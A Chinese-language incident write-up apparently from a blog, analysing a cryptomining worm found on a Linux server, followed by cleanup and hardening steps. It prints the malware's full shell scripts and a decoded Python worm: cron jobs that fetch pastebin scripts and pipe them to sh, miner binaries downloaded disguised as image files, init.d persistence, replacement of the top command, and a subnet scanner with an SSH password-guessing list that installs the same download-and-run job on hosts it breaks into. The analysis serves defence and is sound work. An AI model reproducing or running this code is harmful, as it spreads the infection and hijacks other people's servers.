服务器中病毒案例分析
在定时任务里面发现:
定时任务里,每30分钟就会下载并执行一次这个脚本
为了搞清楚这个脚本具体做什么,在本地的测试机通过命令行执行如下:
[root@test ~]# /usr/bin/curl https://pastebin.com/raw/xbY7p5Tb /usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/uuYVPLXd|/usr/bin/base64 -d|/bin/bash[root@test ~]# [root@test ~]# [root@test ~]# [root@test ~]# [root@test ~]# [root@test ~]# [root@test ~]# /usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/uuYVPLXd|/usr/bin/base64 -d #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { pkill -f sourplum # pkill -f 这种方式是模糊匹配杀掉这个后面的字符串程序名进程,每次这么杀掉估计是为了怕定时任务会生产太多进程把服务器搞死,这样第一个可能是怕服务器管理员容易发现(阿里云服务器死了通常会给管理员发短信通知),第二个搞死了就没法执行病毒文件了 pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg # pkill 没加 -f 杀掉和后面字符串相关的程序名的进程 rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm -rf /tmp/a7b104c270 ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9 pkill -f biosetjenkins pkill -f AnXqV.yam pkill -f xmrigDaemon pkill -f xmrigMiner pkill -f xmrig pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f stratum pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr pkill -f XJnRj pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f bashx pkill -f bashg pkill -f bashe pkill -f bashf pkill -f bashh pkill -f XbashY pkill -f libapache rm -rf /tmp/httpd.conf rm -rf /tmp/conn rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache rm -rf /tmp/conns rm -f /tmp/irq.sh rm -f /tmp/irqbalanc1 rm -f /tmp/irq yum -y install lsof lsof -i tcp:3333 | awk 'NR!=1 {print $2}' | xargs kill -9 lsof -i tcp:4444 | awk 'NR!=1 {print $2}' | xargs kill -9 lsof -i tcp:5555 | awk 'NR!=1 {print $2}' | xargs kill -9 lsof -i tcp:3347 | awk 'NR!=1 {print $2}' | xargs kill -9 lsof -i tcp:14444 | awk 'NR!=1 {print $2}' | xargs kill -9 } function system() { if [ ! -f "/bin/httpdns" ]; then # 如果这个脚本不存在就下载并给执行权限 curl -fsSL --connect-timeout 120 https://pastebin.com/raw/698D7kZU -o /bin/httpdns && chmod +x /bin/httpdns if [ ! -f "/bin/httpdns" ]; then # 如果上面用curl命令没下载成功,又尝试用wget下载,并加权限 wget https://pastebin.com/raw/698D7kZU -P /bin -O httpdns && chmod +x /bin/httpdns fi sed -i '$d' /etc/crontab && echo -e "\n0 */6 * * * root /bin/sh /bin/httpdns" >> /etc/crontab # 追加入定时任务,每6分钟执行一次 fi } function top() { rm -rf /usr/bin/top && ln /bin/ps /usr/bin/top # 删掉top命令,并给ps命令做硬链接给top, 相当于执行top命令是就执行了ps命令 } function python() { nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 & touch /tmp/lockp # 上面是把python脚本放到后台运行,这里创建锁文件,后面判断需要用 } function echocron() { # 每次执行的时候都会重新覆盖写入定时任务 echo -e "*/10 * * * * root /bin/chmod 777 /usr/bin/curl && /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /etc/cron.d/root # 每10分钟就执行一次病毒脚本下载并执行 echo -e "*/30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/root # 没30分钟执行一次病毒文件下载并执行 mkdir -p /var/spool/cron/crontabs # 另外存放一份定时任务 echo -e "* */10 * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/crontabs/root } function downloadrun() { ps=$(ps aux | grep kworkerds | grep -v grep | wc -l) # 获取病毒程序 kworkerds ,是不是在运行 if [ ${ps} -eq 0 ];then # 如果没有运行 if [ ! -f "/tmp/kworkerds" ]; then # 如果这个病毒程序文件不存在,则下载并加执行权限 curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds if [ ! -f "/tmp/kworkerds" ]; then # 如果curl命令没下载成功,尝试用wget下载 wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -P /tmp -O kworkerds && chmod +x /tmp/kworkerds fi nohup /tmp/kworkerds >/dev/null 2>&1 & # 下载完成后放在后台运行 else nohup /tmp/kworkerds >/dev/null 2>&1 & # 下载完成后放在后台运行 fi fi rm -rf /tmp/kworkerds # 删除病毒程序,所以有时想通过find找到病毒文件就不行了,因此还得看脚本具体做了些啥,才能根据这些做相应的处理 } function downloadrunxm() { pm=$(ps aux | grep kworkerds | grep -v grep | wc -l) # 判断病毒程序是否在运行中 if [ ${pm} -eq 0 ];then # 如果没有 if [ ! -f "/bin/config.json" ]; then # 如果病毒程序的配置文件不存在,就下载并加执行权限 curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod +x /bin/config.json if [ ! -f "/bin/config.json" ]; then # 如果curl下载失败,尝试wget下载 wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -P /bin -O config.json && chmod +x /bin/config.json fi fi if [ ! -f "/bin/kworkerds" ]; then # 如果病毒程序文件不存在,就下载,这里是下载到/bin目录下 curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod +x /bin/kworkerds if [ ! -f "/bin/kworkerds" ]; then # 尝试wget下载 wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -P /bin -O kworkerds && chmod +x /bin/kworkerds fi nohup /bin/kworkerds >/dev/null 2>&1 & # 把病毒文件放在后台执行 else nohup /bin/kworkerds >/dev/null 2>&1 & # 把病毒文件放在后台执行 fi fi rm -rf /bin/kworkerds /bin/config.json # 启动完成后删掉病毒程序,以及病毒程序的配置文件 } update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/C4ZhQFrH ) # 检查病毒服务器那边的病毒脚本是否有更新,变化,没有更新这个结果就是 noupdate 有更新返回的是 update if [ ${update}x = "update"x ];then # 如果病毒脚本更新了,清理一波,然后重新加入定时任务,并重新从病毒服务器下载脚本执行 rm -rf /tmp/lock /tmp/locka /bin/kworkerds /bin/config.json /tmp/kworkerds ps -ef |grep -v grep|grep "kworkerds" | awk '{print $2}' | sudo xargs kill ps -ef |grep -v grep|grep "sleep 601" | awk '{print $2}' | sudo xargs kill ps -ef |grep -v grep|grep "/usr/bin/curl.*pastebin" | awk '{print $2}' | sudo xargs kill echocron else # 如果没有变化,没更新 if [ ! -f "/tmp/lockp" ]; then # 如果这个锁文件不存在了 rm -rf /tmp/lockl python # 运行python探测脚本,端口扫描,尝试暴力破解 fi kills # 清理已启动的所有病毒进程 downloadrun # 下载并执行病毒程序 downloadrunxm # 下载病毒程序文件及病毒程序的配置文件 px=$(ps aux | grep "sleep 601" | grep -v grep | wc -l) # 获取sleep进程 if [ ${px} -eq 0 ];then # 如果没有sleep进程,可能这个病毒脚本没正常运行了,上面更新了 while [ 1 ] # 进入死循环 do whoami=$( whoami ) # 获取当前用户 if [ ${whoami}x = "root"x ];then # 如果当前用户是 root, 执行以下几个函数的内容 echocron system top fi pc=$(ps aux | grep kworkerds | grep -v grep | wc -l) # 获取病毒文件是否在运行 if [ ${pc} -eq 0 ];then # 如果没有 kills # 清理之前的病毒进程 downloadrun # 下载并执行 downloadrunxm # 下载病毒程序的配置文件 fi sleep 601 # 每10分钟在循环检查执行这个死循环里面函数的内容 done else # 如果当前sleep进程在运行中,说明各病毒脚本及病毒程序再运行中,退出脚本,等下一次定时任务来触发检测,执行这个病毒脚本 exit fi fi # # #[root@test ~]# [root@test ~]# [root@test ~]#
上面脚本 httpdns脚本的内容
curl -fsSL --connect-timeout 120 https://pastebin.com/raw/698D7kZU -o /bin/httpdns
[root@test a]# curl -fsSL --connect-timeout 120 https://pastebin.com/raw/698D7kZU -o httpdns [root@test a]# ls config.json httpdns kworkerds [root@test a]# cat httpdns /usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/kDSLjxfQ|/usr/bin/base64 -d|/bin/bash[root@test a]# [root@test a]# /usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/kDSLjxfQ|/usr/bin/base64 -d #!/bin/sh SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function downloadrun() { ps=$(ps aux | grep kworkerds | grep -v grep | wc -l) if [ ${ps} -eq 0 ];then if [ ! -f "/tmp/kworkerds" ]; then # 这里把病毒文件下载到/tmp目录下,就算删除了病毒文件,杀了一个病毒进程,又从另外一个地方启动了病毒文件进程 curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds if [ ! -f "/tmp/kworkerds" ]; then wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -P /tmp -O kworkerds && chmod +x /tmp/kworkerds fi nohup /tmp/kworkerds >/dev/null 2>&1 & else nohup /tmp/kworkerds >/dev/null 2>&1 & fi fi rm -rf /tmp/kworkerds } function downloadrunxm() { pm=$(ps aux | grep kworkerds | grep -v grep | wc -l) if [ ${pm} -eq 0 ];then if [ ! -f "/bin/config.json" ]; then curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod +x /bin/config.json if [ ! -f "/bin/config.json" ]; then wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -P /bin -O config.json && chmod +x /bin/config.json fi fi if [ ! -f "/bin/kworkerds" ]; then curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod +x /bin/kworkerds if [ ! -f "/bin/kworkerds" ]; then wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -P /bin -O kworkerds && chmod +x /bin/kworkerds fi nohup /bin/kworkerds >/dev/null 2>&1 & else nohup /bin/kworkerds >/dev/null 2>&1 & fi fi rm -rf /bin/kworkerds /bin/config.json } function init() { if [ ! -f "/usr/sbin/kworker" ]; then # 这个二进制文件下载到 /usr/sbin/目录下 并加入执行权限 curl -fsSL --connect-timeout 120 http://thyrsi.com/t6/362/1535175015x-1404817880.jpg -o /usr/sbin/kworker && chmod 777 /usr/sbin/kworker if [ ! -f "/usr/sbin/kworker" ]; then wget http://thyrsi.com/t6/362/1535175015x-1404817880.jpg -P /usr/sbin -O kworker && chmod 777 /usr/sbin/kworker fi fi if [ ! -f "/etc/init.d/kworker" ]; then curl -fsSL --connect-timeout 120 http://thyrsi.com/t6/362/1535175343x-1566657675.jpg -o /etc/init.d/kworker && chmod 777 /etc/init.d/kworker if [ ! -f "/etc/init.d/kworker" ]; then wget http://thyrsi.com/t6/362/1535175343x-1566657675.jpg -P /etc/init.d -O kworker && chmod 777 /etc/init.d/kworker fi fi chkconfig --add kworker # 加入开机自启动,就算重启也还是会运行 } function echocron() { echo -e "*/10 * * * * root /usr/bin/curl https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /etc/cron.d/root echo -e "*/30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "* */10 * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/crontabs/root } update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/C4ZhQFrH ) if [ ${update}x = "update"x ];then rm -rf /tmp/lock /tmp/locka /bin/kworkerds /bin/config.json /tmp/kworkerds ps -ef |grep -v grep|grep "kworkerds" | awk '{print $2}' | sudo xargs kill ps -ef |grep -v grep|grep "sleep 601" | awk '{print $2}' | sudo xargs kill ps -ef |grep -v grep|grep "/usr/bin/curl.*pastebin" | awk '{print $2}' | sudo xargs kill echocron else whoami=$( whoami ) if [ ${whoami}x = "root"x ];then init echocron fi downloadrun downloadrunxm pl=$(ps aux | grep kworkerds | grep -v grep | wc -l) if [ ${pl} -eq 0 ];then downloadrun downloadrunxm fi fi #[root@test a]#
初始化函数里面的病毒文件
[root@test a]# curl -fsSL --connect-timeout 120 http://thyrsi.com/t6/362/1535175015x-1404817880.jpg -o kworker [root@test a]# file kworker kworker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped [root@test a]# ls config.json httpdns kworker kworkerds [root@test a]#
上面脚本中 python脚本内容,分解在linux 命令执行解析,看具体是什么内容
python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))"
[root@test a]# python Python 2.6.6 (r266:84292, Aug 18 2016, 15:13:37) [GCC 4.4.7 20120313 (Red Hat 4.4.7-17)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> >>> >>> import base64 >>> base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz') "#coding: utf-8\nimport urllib\nimport base64\n\nd= 'https://pastebin.com/raw/nYBpuAxT'\ntry:\n page=base64.b64decode(urllib.urlopen(d).read())\n exec(page)\nexcept:\n pass" >>> >>> python_script = base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz') >>> >>> print python_script #coding: utf-8 import urllib import base64 d= 'https://pastebin.com/raw/nYBpuAxT' try: page=base64.b64decode(urllib.urlopen(d).read()) exec(page) except: pass >>> >>> >>> >>> >>> import urllib, base64 >>> >>> d = 'https://pastebin.com/raw/nYBpuAxT' >>> page=base64.b64decode(urllib.urlopen(d).read()) >>> print page #! /usr/bin/env python #coding: utf-8 import threading from socket import * from paramiko import * from re import findall import os IP_LIST = [] OPEN_IP_LIST = [] class scanner(threading.Thread): # 继承多线程类 tlist = [] # 初始化任务列表 maxthreads = 100 # 最大起100个线程来扫描端口 evnt = threading.Event() # 实例化事件对象 lck = threading.Lock() # 实例化锁,避免数据争用 def __init__(self,host,port): # 会从scaner.newthread()传递过来 threading.Thread.__init__(self) self.host = host self.port = port def run(self): try: connSkt = socket(AF_INET, SOCK_STREAM) setdefaulttimeout(2) connSkt.connect((self.host, self.port)) connSkt.send('google spider\r\n') results = connSkt.recv(20) # 接收20byte connSkt.close() # 关闭连接对象 if str(results): # 如果有相应结果就加入到 可以打开的主机 列表 OPEN_IP_LIST.append(self.host) except Exception: pass scanner.lck.acquire() scanner.tlist.remove(self) if len(scanner.tlist) < scanner.maxthreads: scanner.evnt.set() scanner.evnt.clear() scanner.lck.release() def newthread(host,port): scanner.lck.acquire() sc = scanner(host,port) # 实例化扫描对象 scanner.tlist.append(sc) # 加入对象列表 scanner.lck.release() sc.start() # 启动扫描,本质就是执行上面方法 run() newthread = staticmethod(newthread) # 实例化工具类 class sshbrute(threading.Thread): tlist = [] maxthreads = 100 evnt = threading.Event() lck = threading.Lock() def __init__(self,host,user,password): threading.Thread.__init__(self) self.ip = host self.user = user self.password = password def run(self): try: ssh = SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) ssh.connect(hostname=self.ip, port=22, username=self.user, password=self.password, timeout=5) # 尝试密码猜测连接 ssh.exec_command('chmod 777 /usr/bin/curl') # 如果连接成功,加curl命令权限,后面会用到这个命令去下载病毒文件,及病毒执行脚本 ssh.exec_command('sed -i \'$d\' /etc/resolv.conf && echo "nameserver 8.8.8.8">>/etc/resolv.conf') # 把谷歌的dns解析地址作为默认的dns解析地址,这么做主要是为了shell脚本中的 httpdns,避免中间解析优化的问题 ssh.exec_command('echo -e "*/10 * * * * root /usr/bin/curl https://pastebin.com/raw/xbY7p5Tb|sh\\n##" > /etc/cron.d/root') # 加入定时任务,下载并执行病毒脚本,成功后的那些机器也会运行同样的脚本,感染更多机器执行病毒程序 ssh.exec_command('service crond restart') # 重启定时任务让上面的生效 ssh.exec_command('service network restart') # 由于启用了大量的连接,需要网络服务来支持,怕搞死网络服务,重启在继续执行 ssh.close() except Exception as e: pass sshbrute.lck.acquire() sshbrute.tlist.remove(self) if len(sshbrute.tlist) < sshbrute.maxthreads: sshbrute.evnt.set() sshbrute.evnt.clear() sshbrute.lck.release() def newthread(host,user,password): sshbrute.lck.acquire() sc = sshbrute(host,user,password) sshbrute.tlist.append(sc) sshbrute.lck.release() sc.start() # 执行上面 run()方法的内容 newthread = staticmethod(newthread) def get_ip_list(): try: ip1 = os.popen( "/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip() # 获取当前服务器IP地址 ips1 = findall(r'\d+.\d+.', ip1)[0] # 获取这个IP地址的网络地址16位 for i in range(1, 255): # 第一个for循环拼接第三段主机地址 ip_list1 = (ips1 + (str(i))) for g in range(1, 255): IP_LIST.append(ip_list1 + '.' + (str(g))) # 第二个for循环在前面的基础上拼接最后的主机地址以形成完整的地址,并追加到等待扫描的 IP地址列表 except Exception: pass def runPortscan(port): get_ip_list() for host in IP_LIST: # 从拼接的带扫描的地址列表中取出IP scanner.lck.acquire() if len(scanner.tlist) >= scanner.maxthreads: # 检查是已启动的进程数是否超过最大的进程数 scanner.lck.release() scanner.evnt.wait() else: scanner.lck.release() scanner.newthread(host,port) # 传递给 扫描类执行扫描,每个主机加22端口为一个扫描任务 for t in scanner.tlist: t.join() # 等待当前这一波任务完成 def runsshbrute(OPEN_IP_LIST): for host in OPEN_IP_LIST: # 从已经探测为有效的主机列表中分别执行密码猜测 accounts = [('root', '123456'), ('root', 'password'), ('root', '12345'), ('root', '1234'), ('root', 'root'), ('root', '123'), ('root', 'qwerty'), ('root', 'test'), ('root', '1q2w3e4r'), ('root', '1qaz2wsx'), ('root', 'qazwsx'), ('root', '123qwe'), ('root', '12'), ('root', '123qaz'), ('root', '0000'), ('root', 'oracle'), ('root', '1234567'), ('root', '123456qwerty'), ('root', 'password123'), ('root', '12345678'), ('root', '1q2w3e'), ('root', 'abc123'), ('root', 'okmnji'), ('root', 'test123'), ('root', '123456789'), ('root', 'postgres'), ('root', 'q1w2e3r4'), ('root', 'redhat'), ('root', 'user'), ('mysql', 'mysql'), ('oracle', 'oracle'), ('apache', 'apache'), ('test', 'test'), ('www', 'www'), ('ftp', 'ftp')]
# 常用的账号,密码
for user, password in accounts: sshbrute.lck.acquire() if len(sshbrute.tlist) >= sshbrute.maxthreads: sshbrute.lck.release() sshbrute.evnt.wait() else: sshbrute.lck.release() sshbrute.newthread(host,user,password) # 把拿到的主机, 这里的用户名,密码传递给这个类去尝试密码猜测连接 for t in sshbrute.tlist: t.join() # 等待这100个任务执行完成 if __name__ == "__main__": runPortscan(22) # 默认扫描 22 号端口, 这一步执行完就是为了得到有效的主机地址且22端口是开通的 runsshbrute(OPEN_IP_LIST) # 如果能连接,就把源病毒信息嵌入,感染每台密码猜测成功的主机,并放入定时任务 >>>
病毒进程运行时cpu利用率:
通过clamscan病毒工具扫描这个病毒文件:
分析现状:
1、从上面的top输出中,明显可以看到是以root用户,服务器已经被rootKit,攻击者可以为所欲为,畅通无阻!
2、top命令还被改了,这只是从脚本里面体现出来的,攻击者既然知道root密码,很可能很多命令,其他数据都被替换过,例如此次在排查的过程中 rm,chmod,touch命令已经不可用
3、通常攻击者启动的进程方式会有很多种,不会只是杀掉病毒进程一次就没有了,因此还是要找到病毒程序的来源,以及如何启动,擒贼也要擒王。
通过上面的脚本中看到涉及到的操作大概有:
rm -fr /tmp/ddg* rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm -rf /tmp/a7b104c270 rm -rf /tmp/httpd.conf rm -rf /tmp/conn rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache rm -rf /tmp/conns rm -f /tmp/irq.sh rm -f /tmp/irqbalanc1 rm -f /tmp/irq /bin/httpdns /etc/crontab rm -rf /usr/bin/top && ln /bin/ps /usr/bin/top touch /tmp/lockp /etc/cron.d/root /var/spool/cron/root mkdir -p /var/spool/cron/crontabs /var/spool/cron/crontabs/root /tmp/kworkerds /bin/config.json nohup /bin/kworkerds >/dev/null 2>&1 & rm -rf /tmp/lockl rm -rf /bin/kworkerds /bin/config.json /usr/sbin/kworker chkconfig --add kworker rm -rf /tmp/lock /tmp/locka /bin/kworkerds /bin/config.json /tmp/kworkerds chmod 777 /usr/bin/curl sed -i \'$d\' /etc/resolv.conf && echo "nameserver 8.8.8.8">>/etc/resolv.conf /sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"
4、由于常用的 top, htop, iftop, ps, chmod, chown 等系统命令可能已经被替换, 最好在没问题的服务器上复制一份同系统版本的这些命令,以便以排查及处理
5、上面的python脚本任务主要就是开启多线程 ,获取本机的网络地址,然后批量端口扫描,扫描成功的记录下来,然后用猜密码的方式进行尝试,如果猜测成功,则放入定时任务,下载病毒脚本并执行,就这样一直不断循环尝试登录,感染更多的机器。
处理步骤(先后顺序很重要):
1、第一步就是改服务器的密码,避免攻击者可以登录做进一步操作
2、这个病毒脚本每次都会被定时任务启动,因此先找到 /etc/cron.d/* 、/var/spool/cron/* 、/etc/crontab 有异常的定时任务,并删除,如果chmod,wget,chaddr命令可用,
应该先把curl,wget命令的执行权限去掉,避免病毒程序执行从远程下载脚本
3、病毒程序,病毒脚本的内容在运行,里面的逻辑会定时检查病毒程序是否运行,如果没运行,会启动病毒脚本,病毒程序,或去病毒服务器下载病毒脚本并执行,杀掉脚本里面相关启动的病毒程序或通过top命令看到的异常进程
4、第2步运行中的程序要执行脚本,病毒程序,还得找到病毒程序文件才行,因此紧接着删除上面相关的病毒程序,把脚本里面要用到的目录清理后然后暂时加锁 chattr -i 目录
5、经过前4步骤的处理,此时应该没什么病毒进程在运行了,(如果还有,尝试用find 命令找到运行中病毒程序的文件并删除)因此开始做清理工作,上面脚本有加入开机自启动程序,检查/etc/init.d/* 的启动脚本或程序,/etc/rc.local 等,如果有异常的删除之
6、攻击者都是以root账户执行的程序,可能有很多未发现的隐蔽问题没体现出来,病毒脚本暴露的内容只是有限度的,不能保证就没问题了,因此可以下载病毒扫描检测工具clamscan进行扫描(上面绿色字体图片),使用前要下载病毒库更新工具freshclam,更新病毒库。
7、由于有第6的问题,因此,最好还是重装系统,然后做好安全优化,包括但不限于如修改sshd服务的默认端口,密码错误3次锁定,来源IP地址限制,连接使用秘钥登录,root密码18位(特殊字符 + 大小写字母 + 数字)等
小结:
一般服务器中病毒都会有定时任务,开机自启动,流量异常,负载高,cpu利用率高,杀掉进程又启动等现象,找到源头,分析,才能解决问题。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异